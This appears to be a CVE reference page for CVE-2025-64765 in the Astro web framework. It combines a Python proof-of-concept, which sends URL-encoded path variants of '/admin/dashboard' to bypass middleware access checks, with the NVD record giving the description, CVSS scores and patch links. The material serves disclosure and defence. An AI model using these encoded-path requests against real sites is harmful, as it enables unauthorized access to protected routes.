CVE-2025-64765

import requests # CVE-2025-64765 PoC - Path Normalization Mismatch in Astro Framework # This PoC demonstrates how an attacker can bypass path-based access controls # by using URL-encoded path variants TARGET_URL = "http://target-astro-site.com" # Protected route that should require authentication PROTECTED_PATH = "/admin/dashboard" # Test cases showing different encoding techniques test_paths = [ PROTECTED_PATH, # Original path (may be blocked) "/%61dmin/dashboard", # URL-encoded 'a' "/ad%6Din/dashboard", # URL-encoded 'm' "/admin%2Fdashboard", # URL-encoded '/' "/%2Fadmin%2Fdashboard", # Fully URL-encoded path separators ] def test_path_bypass(): """Test if URL-encoded paths can bypass access controls""" for encoded_path in test_paths: url = f"{TARGET_URL}{encoded_path}" try: response = requests.get(url, timeout=10) print(f"Testing: {encoded_path}") print(f"Status Code: {response.status_code}") print(f"Content Length: {len(response.content)}") # Check if we got access (status 200 and non-empty response) if response.status_code == 200 and len(response.content) > 0: if "dashboard" in response.text.lower() or "admin" in response.text.lower(): print(f"[+] VULNERABLE: Path bypass successful with {encoded_path}") print("-" * 50) except requests.RequestException as e: print(f"Error testing {encoded_path}: {e}") if __name__ == "__main__": print("CVE-2025-64765 Path Normalization Bypass PoC") print("Target: Astro Framework < 5.15.8") test_path_bypass()

{"cve": {"id": "CVE-2025-64765", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:52.827", "lastModified": "2025-11-25T15:11:31.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework. Prior to version 5.15.8, a mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI). This discrepancy may allow attackers to reach protected routes using encoded path variants that pass routing but bypass validation checks. This issue has been patched in version 5.15.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "5.15.8", "matchCriteriaId": "1015DFA8-9106-453C-9144-11E63ADA3B67"}]}]}], "references": [{"url": "https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}